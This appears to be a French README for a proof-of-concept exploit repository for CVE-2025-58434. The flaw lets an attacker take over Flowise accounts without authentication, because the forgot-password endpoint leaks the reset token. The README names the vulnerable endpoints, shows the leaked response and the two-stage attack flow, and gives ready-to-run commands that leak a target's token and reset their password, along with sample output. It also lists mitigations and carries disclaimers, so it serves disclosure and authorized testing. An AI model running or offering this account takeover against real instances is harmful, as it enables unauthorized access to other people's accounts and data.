Exploit de preuve de concept pour CVE-2025-58434, démontrant une prise de contrôle de compte non authentifiée dans Flowise via des jetons de réinitialisation de mot de passe divulgués. Comprend une attaque en deux étapes : fuite de jeton et réinitialisation du mot de passe.
⚠️ Ce dépôt est destiné uniquement à la recherche en sécurité éducative et autorisée.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale.
Le point d'accès forgot-password dans Flowise (hébergé dans le cloud et auto-hébergé) renvoie un jeton de réinitialisation de mot de passe valide (tempToken) directement dans le corps de la réponse HTTP — sans aucune vérification par e-mail ni authentification.
Cela signifie qu'un attaquant qui connaît (ou peut deviner) l'adresse e-mail d'une victime peut :
forgot-password → recevoir le tempToken dans la réponse JSONtempToken pour appeler reset-password → définir un nouveau mot de passe arbitraireAucun accès préalable, aucune interaction de l'utilisateur et aucun accès à la messagerie ne sont requis.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-58434 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640 : Mécanisme de récupération de mot de passe faible |
| Type | Contournement d'authentification / Exposition d'objet direct non sécurisée |
| Application concernée | Flowise (cloud + auto-hébergé) |
| Point d'accès 1 | POST /api/v1/account/forgot-password |
| Point d'accès 2 | POST /api/v1/account/reset-password |
Le gestionnaire forgot-password renvoie l'intégralité de l'enregistrement utilisateur — y compris le tempToken généré — directement dans la réponse de l'API au lieu de l'envoyer uniquement à l'adresse e-mail enregistrée de l'utilisateur.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Attaquant API Flowise
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (génère tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (mot de passe modifié !) │
│ │
✓ Prise de contrôle du compte terminée
cloud.flowiseai.com) — confirmé affectéConsultez le dépôt GitHub officiel de Flowise pour les informations sur les versions corrigées.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
requests# Cloner le dépôt
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Installer les dépendances
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Confirmer que l'instance est vulnérable et récupérer le tempToken sans réinitialiser de mot de passe.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
Utiliser le jeton divulgué pour réinitialiser le mot de passe immédiatement.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| Drapeau | Abrév. | Description | Défaut |
|---|---|---|---|
--url URL | -u | URL de base de l'instance Flowise | (obligatoire) |
--email EMAIL | -e | Adresse e-mail du compte cible | (obligatoire) |
--reset | -r | Effectuer l'étape 2 : réinitialiser le mot de passe avec le jeton divulgué | False |
--new-password PASS | -p | Nouveau mot de passe à définir (utilisé avec --reset) | Changeme@2025! |
--timeout SECONDS | -t | Délai d'attente de la requête HTTP | 10 |
--json-output | -j | Afficher la réponse JSON brute de l'API sur stdout | False |
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
Si vous êtes un opérateur d'instance Flowise, appliquez les mesures d'atténuation suivantes immédiatement :
forgot-password que l'e-mail existe ou non — cela empêche également l'énumération des comptes.forgot-password.| Date | Événement |
|---|---|
| 2025-08-19 | Vulnérabilité découverte et signalée |
| À déterminer | Accusé de réception du fournisseur |
| À déterminer | Correctif publié |
| À déterminer | Divulgation publique |
Ce projet est destiné uniquement à des fins éducatives et aux tests d'intrusion autorisés.